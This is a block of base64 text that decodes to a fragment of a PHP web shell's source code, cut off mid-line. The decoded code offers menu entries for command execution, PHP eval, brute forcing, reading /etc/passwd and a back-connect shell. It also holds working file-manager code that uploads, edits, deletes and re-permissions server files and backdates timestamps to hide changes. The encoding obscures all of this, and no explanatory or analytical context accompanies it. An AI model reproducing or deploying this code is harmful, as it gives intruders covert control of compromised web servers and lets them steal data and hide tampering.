CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2ZpbGUnKTsiPkZpbGUgTWFuYWdlcjwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUnKTsiPk15U1FMIFVwbG9hZCAmYW1wOyBEb3dubG9hZDwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc2hlbGwnKTsiPkV4ZWN1dGUgQ29tbWFuZDwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPkV2YWwgUEhQIENvZGU8L2E+DQoJCQk8P3BocCBpZiAoIUlTX1dJTikgez8+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignYnJ1dGUnKTsiPkJydXRlPC9hPiA8P3BocCB9Pz4NCgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldGNwd2QnKTsiPi9ldGMvcGFzc3dkPC9hPiA8P3BocCB9Pz4NCgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdiYWNrY29ubmVjdCcpOyI+QmFjayBDb25uZWN0PC9hPjw/cGhwIH0/Pg0KCQk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIxNSIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQ+DQo8P3BocA0KDQpmb3JtaGVhZChhcnJheSgnbmFtZSc9Pidnb2FjdGlvbicpKTsNCm1ha2VoaWRlKCdhY3Rpb24nKTsNCmZvcm1mb290KCk7DQoNCiRlcnJtc2cgJiYgbSgkZXJybXNnKTsNCg0KLy8gRGlyIGZ1bmN0aW9uDQohJGRpciAmJiAkZGlyID0gJy4nOw0KJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOw0KaWYgKHN1YnN0cigkZGlyLCAtMSkgIT0gJy8nKSB7DQoJJGRpciA9ICRkaXIuJy8nOw0KfQ0KJHVlZGlyID0gdWUoJGRpcik7DQoNCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgew0KDQoJLy8gTm9uLXdyaXRlYWJsZQ0KCSRkaXJfd3JpdGVhYmxlID0gQGlzX3dyaXRhYmxlKCRub3dwYXRoKSA/ICdXcml0YWJsZScgOiAnTm9uLXdyaXRhYmxlJzsNCg0KCS8vIERlbGV0ZSBkaXINCglpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7DQoJCWlmICghZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQltKCdEaXJlY3RvcnkgZGVsZXRlICcuKGRlbHRyZWUoJHRoZWZpbGUpID8gYmFzZW5hbWUoJHRoZWZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gQ3JlYXRlIG5ldyBkaXINCgllbHNlaWYgKCRuZXdkaXJuYW1lKSB7DQoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7DQoJCQltKCdEaXJlY3RvcnkgaGFzIGFscmVhZHkgZXhpc3RlZCcpOw0KCQl9IGVsc2Ugew0KCQkJbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc1NSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQkJQGNobW9kKCRta2RpcnMsMDc1NSk7DQoJCX0NCgl9DQoNCgkvLyBVcGxvYWQgZmlsZQ0KCWVsc2VpZiAoJGRvdXBmaWxlKSB7DQoJCW0oJ0ZpbGUgdXBsb2FkICcuKEBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXSwkdXBsb2FkZGlyLicvJy4kX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ25hbWUnXSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCX0NCg0KCS8vIEVkaXQgZmlsZQ0KCWVsc2VpZiAoJGVkaXRmaWxlbmFtZSAmJiAkZmlsZWNvbnRlbnQpIHsNCgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsNCgkJbSgnU2F2ZSBmaWxlICcuKEBmd3JpdGUoJGZwLCRmaWxlY29udGVudCkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQlAZmNsb3NlKCRmcCk7DQoJfQ0KDQoJLy8gTW9kaWZ5DQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsNCgkJaWYgKCFmaWxlX2V4aXN0cygkcGZpbGUpKSB7DQoJCQltKCdUaGUgb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJG5ld3Blcm0gPSBiYXNlX2NvbnZlcnQoJG5ld3Blcm0sOCwxMCk7DQoJCQltKCdNb2RpZnkgZmlsZSBhdHRyaWJ1dGVzICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIFJlbmFtZQ0KCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7DQoJCSRubmFtZSA9ICRub3dwYXRoLiRuZXdmaWxlbmFtZTsNCgkJaWYgKGZpbGVfZXhpc3RzKCRubmFtZSkgfHwgIWZpbGVfZXhpc3RzKCRvbGRuYW1lKSkgew0KCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCW0oYmFzZW5hbWUoJG9sZG5hbWUpLicgcmVuYW1lZCAnLmJhc2VuYW1lKCRubmFtZSkuKEByZW5hbWUoJG9sZG5hbWUsJG5uYW1lKSA/ICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gQ29wdQ0KCWVsc2VpZiAoJHNuYW1lICYmICR0b2ZpbGUpIHsNCgkJaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7DQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIEZpbGUgZXhpdA0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHRhcmZpbGUpIHsNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7DQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gRGF0ZQ0KCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7DQoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSkgew0KCQkJbShiYXNlbmFtZSgkY3VyZmlsZSkuJyBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOw0KCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyBEb3dubG9hZA0KCWVsc2VpZigkZG9pbmcgPT0gJ2Rvd25yYXInKSB7DQoJCWlmICgkZGwpIHsNCgkJCSRkZmlsZXM9Jyc7DQoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgew0KCQkJCSRkZmlsZXMuPSRmaWxlcGF0aC4nLCc7DQoJCQl9DQoJCQkkZGZpbGVzPXN1YnN0cigkZGZpbGVzLDAsc3RybGVuKCRkZmlsZXMpLTEpOw0KCQkJJGRsPWV4cGxvZGUoJywnLCRkZmlsZXMpOw0KCQkJJHppcD1uZXcgUEhQWmlwKCRkbCk7DQoJCQkkY29kZT0kemlwLT5vdXQ7DQoJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQoJCQloZWFkZXIoJ0FjY2VwdC1SYW5nZXM6IGJ5dGVzJyk7DQoJCQloZWFkZXIoJ0FjY2VwdC1MZW5ndGg6ICcuc3RybGVuKCRjb2RlKSk7DQoJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7ZmlsZW5hbWU9Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ3NxbC5neicpOw0KCQkJZWNobyAkY29kZTsNCgkJCWV4aXQ7DQoJCX0gZWxzZSB7DQoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsNCgkJfQ0KCX0NCg0KCS8vIERlbGV0ZSBmaWxlDQoJZWxzZWlmKCRkb2luZyA9PSAnZGVsZmlsZXMnKSB7DQoJCWlmICgkZGwpIHsNCgkJCSRkZmlsZXM9Jyc7DQoJCQkkc3VjYyA9ICRmYWlsID0gMDsNCgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7DQoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgew0KCQkJCQkkc3VjYysrOw0KCQkJCX0gZWxzZSB7DQoJCQkJCSRmYWlsKys7DQoJCQkJfQ0KCQkJfQ0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQ/P2Nob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBmYWlsICcuJGZhaWwpOw0KCQl9IGVsc2Ugew0KCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7DQoJCX0NCgl9DQoNCgkvLyBGdW5jdGlvbiBOZXdkaXINCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7DQoJbWFrZWhpZGUoJ25ld2Rpcm5hbWUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlcGVybScpKTsNCgltYWtlaGlkZSgnbmV3cGVybScpOw0KCW1ha2VoaWRlKCdwZmlsZScpOw0KCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsNCglmb3JtZm9vdCgpOw0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOw0KCW1ha2VoaWRlKCdzbmFtZScpOw0KCW1ha2VoaWRlKCd0b2ZpbGUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7DQoJbWFrZWhpZGUoJ29sZG5hbWUnKTsNCgltYWtlaGlkZSgnbmV3ZmlsZW5hbWUnKTsNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoJZm9ybWZvb3QoKTsNCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidmaWxlb3Bmb3JtJykpOw0KCW1ha2VoaWRlKCdhY3Rpb24nKTsNCgltYWtlaGlkZSgnb3BmaWxlJyk7DQoJbWFrZWhpZGUoJ2RpcicpOw0KCWZvcm1mb290KCk7DQoNCgkkZnJlZSA9IEBkaXNrX2ZyZWVfc3BhY2UoJG5vd3BhdGgpOw0KCSEkZnJlZSAmJiAkZnJlZSA9IDA7DQoJJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRub3dwYXRoKTsNCgkhJGFsbCAmJiAkYWxsID0gMDsNCgkkdXNlZCA9ICRhbGwtJGZyZWU7DQoJJHVzZWRfcGVyY2VudCA9IEByb3VuZCgxMDAvKCRhbGwvJGZyZWUpLDIpOw0KCXAoJzxmb250IGNvbG9yPXllbGxvdyBmYWNlPXRhaG9tYSBzaXplPTI+PEI+RmlsZSBNYW5hZ2VyPC9iPiA8L2ZvbnQ+IEN1cnJlbnQgZGlzayBmcmVlIDxmb250IGNvbG9yPXJlZD4nLnNpemVjb3VudCgkZnJlZSkuJzwvZm9udD4gb2YgPGZvbnQgY29sb3I9cmVkPicuc2l6ZWNvdW50KCRhbGwpLic8L2ZvbnQ+ICg8Zm9udCBjb2xvcj1yZWQ+Jy4kdXNlZF9wZXJjZW50Lic8L2ZvbnQ+JSk8L2ZvbnQ+Jyk7DQoNCj8+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0ibWFyZ2luOjEwcHggMDsiPg0KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4NCiAgPHRyPg0KICAgIDx0ZCBub3dyYXA+Q3VycmVudCBEaXJlY3RvcnkgKDw/cGhwIGVjaG8gJGRpcl93cml0ZWFibGU7Pz4sIDw/cGhwIGVjaG8gZ2V0Q2htb2QoJG5vd3BhdGgpOz8+KTwvdGQ+DQoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MCA4cHg7Ij48L3RkPg0KICAgIDx0ZCBub3dyYXA+PGlucHV0IGNsYXNzPSJidCIgdmFsdWU9IkdPIiB0eXBlPSJzdWJtaXQiPjwvdGQ+DQogIDwvdHI+DQogIDwvZm9ybT4NCjwvdGFibGU+DQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjcmVhdGVkaXIoKXsNCgl2YXIgbmV3ZGlybmFtZTsNCgluZXdkaXJuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGRpcmVjdG9yeSBuYW1lOicsICcnKTsNCglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsNCgkkKCdjcmVhdGVkaXInKS5uZXdkaXJuYW1lLnZhbHVlPW5ld2Rpcm5hbWU7DQoJJCgnY3JlYXRlZGlyJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBmaWxlcGVybShwZmlsZSl7DQoJdmFyIG5ld3Blcm07DQoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOw0KCWlmICghbmV3cGVybSkgcmV0dXJuOw0KCSQoJ2ZpbGVwZXJtJykubmV3cGVybS52YWx1ZT1uZXdwZXJtOw0KCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7DQoJJCgnZmlsZXBlcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsNCgl2YXIgdG9maWxlOw0KCXRvZmlsZSA9IHByb21wdCgnT3JpZ2luYWwgZmlsZTonK3NuYW1lKydcblBsZWFzZSBpbnB1dCBvYmplY3QgZmlsZSAoZnVsbHBhdGgpOicsICcnKTsNCglpZiAoIXRvZmlsZSkgcmV0dXJuOw0KCSQoJ2NvcHlmaWxlJykudG9maWxlLnZhbHVlPXRvZmlsZTsNCgkkKCdjb3B5ZmlsZScpLnNuYW1lLnZhbHVlPXNuYW1lOw0KCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiByZW5hbWUob2xkbmFtZSl7DQoJdmFyIG5ld2ZpbGVuYW1lOw0KCW5ld2ZpbGVuYW1lID0gcHJvbXB0KCdGb3JtZXIgZmlsZSBuYW1lOicrb2xkbmFtZSsnXG5QbGVhc2UgaW5wdXQgbmV3IGZpbGVuYW1lOicsICcnKTsNCglpZiAoIW5ld2ZpbGVuYW1lKSByZXR1cm47DQoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7DQoJJCgncmVuYW1lJykub2xkbmFtZS52YWx1ZT1vbGRuYW1lOw0KCSQoJ3JlbmFtZScpLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gZG9maWxlKGRvaW5nLHRoZWZpbGUsbSl7DQoJaWYgKG0gJiYgIWNvbmZpcm0obSkpIHsNCgkJcmV0dXJuOw0KCX0NCgkkKCdmaWxlbGlzdCcpLmRvaW5nLnZhbHVlPWRvaW5nOw0KCWlmICh0aGVmaWxlKXsNCgkJJCgnZmlsZWxpc3QnKS50aGVmaWxlLnZhbHVlPXRoZWZpbGU7DQoJfQ0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7DQp9DQpmdW5jdGlvbiBjcmVhdGVmaWxlKG5vd3BhdGgpew0KCXZhciBmaWxlbmFtZTsNCglmaWxlbmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBmaWxlIG5hbWU6JywgJycpOw0KCWlmICghZmlsZW5hbWUpIHJldHVybjsNCglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7DQp9DQpmdW5jdGlvbiBvcGZpbGUoYWN0aW9uLG9wZmlsZSxkaXIpew0KCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOw0KCSQoJ2ZpbGVvcGZvcm0nKS5vcGZpbGUudmFsdWU9b3BmaWxlOw0KCSQoJ2ZpbGVvcGZvcm0nKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsNCn0NCmZ1bmN0aW9uIGdvZGlyKGRpcix2aWV3X3dyaXRhYmxlKXsNCglpZiAodmlld193cml0YWJsZSkgew0KCQkkKCdnb2RpcicpLnZpZXdfd3JpdGFibGUudmFsdWU9MTsNCgl9DQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOw0KCSQoJ2dvZGlyJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCiAgPD9waHANCgl0YmhlYWQoKTsNCglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsNCglwKCc8ZGl2IHN0eWxlPSJmbG9hdDpyaWdodDsiPjxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InVwbG9hZGZpbGUiIHZhbHVlPSIiIHR5cGU9ImZpbGUiIC8+IDxpbnB1dCBjbGFzcz0iIiBuYW1lPSJkb3VwZmlsZSIgdmFsdWU9IlVwbG9hZCIgdHlwZT0ic3VibWl0IiAvPjxpbnB1dCBuYW1lPSJ1cGxvYWRkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjxpbnB1dCBuYW1lPSJkaXIiIHZhbHVlPSInLiRkaXIuJyIgdHlwZT0iaGlkZGVuIiAvPjwvZGl2PicpOw0KCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJ1wnKTsiPldlYlJvb3Q8L2E+Jyk7DQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRub3dwYXRoLidcJyk7Ij5WaWV3IEFsbDwvYT4nKTsNCgl9IGVsc2Ugew0KCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsNCgl9DQoJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVkaXIoKTsiPkNyZWF0ZSBEaXJlY3Rvcnk8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpjcmVhdGVmaWxlKFwnJy4kbm93cGF0aC4nXCcpOyI+Q3JlYXRlIEZpbGU8L2E+Jyk7DQoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsNCgkJJG9iaiA9IG5ldyBDT00oJ3NjcmlwdGluZy5maWxlc3lzdGVtb2JqZWN0Jyk7DQoJCWlmICgkb2JqICYmIGlzX29iamVjdCgkb2JqKSkgew0KCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsNCgkJCWZvcmVhY2goJG9iai0+RHJpdmVzIGFzICRkcml2ZSkgew0KCQkJCWlmICgkZHJpdmUtPkRyaXZlVHlwZSA9PSAyKSB7DQoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZHJpdmUtPlBhdGguJy9cJyk7IiB0aXRsZT0iVHlwZTonLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJyI+Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLicoJy4kZHJpdmUtPlBhdGguJyk8L2E+Jyk7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KDQoJcCgnPC90ZD48L3RyPjwvZm9ybT4nKTsNCg0KCXAoJzx0ciBjbGFzcz0iaGVhZCI+PHRkPiZuYnNwOzwvdGQ+PHRkPkZpbGVuYW1lPC90ZD48dGQgd2lkdGg9IjE2JSI+TGFzdCBtb2RpZmllZDwvdGQ+PHRkIHdpZHRoPSIxMCUiPlNpemU8L3RkPjx0ZCB3aWR0aD0iMjAlIj5DaG1vZCAvIFBlcm1zPC90ZD48dGQgd2lkdGg9IjIyJSI+QWN0aW9uPC90ZD48L3RyPicpOw0KDQoJLy8gR2V0IHBhdGgNCgkkZGlyZGF0YT1hcnJheSgpOw0KCSRmaWxlZGF0YT1hcnJheSgpOw0KDQoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7DQoJCSRkaXJkYXRhID0gR2V0TGlzdCgkbm93cGF0aCk7DQoJfSBlbHNlIHsNCgkJLy8gT3BlbiBkaXINCgkJJGRpcnM9QG9wZW5kaXIoJGRpcik7DQoJCXdoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsNCgkJCSRmaWxlcGF0aD0kbm93cGF0aC4kZmlsZTsNCgkJCWlmKEBpc19kaXIoJGZpbGVwYXRoKSl7DQoJCQkJJGRpcmRiWydmaWxlbmFtZSddPSRmaWxlOw0KCQkJCSRkaXJkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCQkkZGlyZGJbJ2RpcmNobW9kJ109Z2V0Q2htb2QoJGZpbGVwYXRoKTsNCgkJCQkkZGlyZGJbJ2RpcnBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZmlsZW93bmVyJ109Z2V0VXNlcigkZmlsZXBhdGgpOw0KCQkJCSRkaXJkYlsnZGlybGluayddPSRub3dwYXRoOw0KCQkJCSRkaXJkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7DQoJCQkJJGRpcmRiWydjbGllbnRfbGluayddPXVlKCRmaWxlcGF0aCk7DQoJCQkJJGRpcmRhdGFbXT0kZGlyZGI7DQoJCQl9IGVsc2Ugew0KCQkJCSRmaWxlZGJbJ2ZpbGVuYW1lJ109JGZpbGU7DQoJCQkJJGZpbGVkYlsnc2l6ZSddPXNpemVjb3VudChAZmlsZXNpemUoJGZpbGVwYXRoKSk7DQoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsNCgkJCQkkZmlsZWRiWydmaWxlY2htb2QnXT1nZXRDaG1vZCgkZmlsZXBhdGgpOw0KCQkJCSRmaWxlZGJbJ2ZpbGVwZXJtJ109Z2V0UGVybXMoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7DQoJCQkJJGZpbGVkYlsnZGlybGluayddPSRub3dwYXRoOw0KCQkJCSRmaWxlZGJbJ3NlcnZlcl9saW5rJ109JGZpbGVwYXRoOw0KCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsNCgkJCQkkZmlsZWRhdGFbXT0kZmlsZWRiOw0KCQkJfQ0KCQl9Ly8gd2hpbGUNCgkJdW5zZXQoJGRpcmRiKTsNCgkJdW5zZXQoJGZpbGVkYik7DQoJCUBjbG9zZWRpcigkZGlycyk7DQoJfQ0KCUBzb3J0KCRkaXJkYXRhKTsNCglAc29ydCgkZmlsZWRhdGEpOw0KCSRkaXJfaSA9ICcwJzsNCglmb3JlYWNoKCRkaXJkYXRhIGFzICRrZXkgPT4gJGRpcmRiKXsNCgkJaWYoJGRpcmRiWydmaWxlbmFtZSddIT0nLi4nICYmICRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7DQoJCQkkdGhpc2JnID0gYmcoKTsNCgkJCXAoJzx0ciBjbGFzcz0iZm91dCIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnZm91dFwnOyI+Jyk7DQoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7DQoJCQlwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicuJGRpcmRiWydtdGltZSddLic8L3RkPicpOw0KCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7DQoJCQlwKCc8dGQgbm93cmFwPicpOw0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZX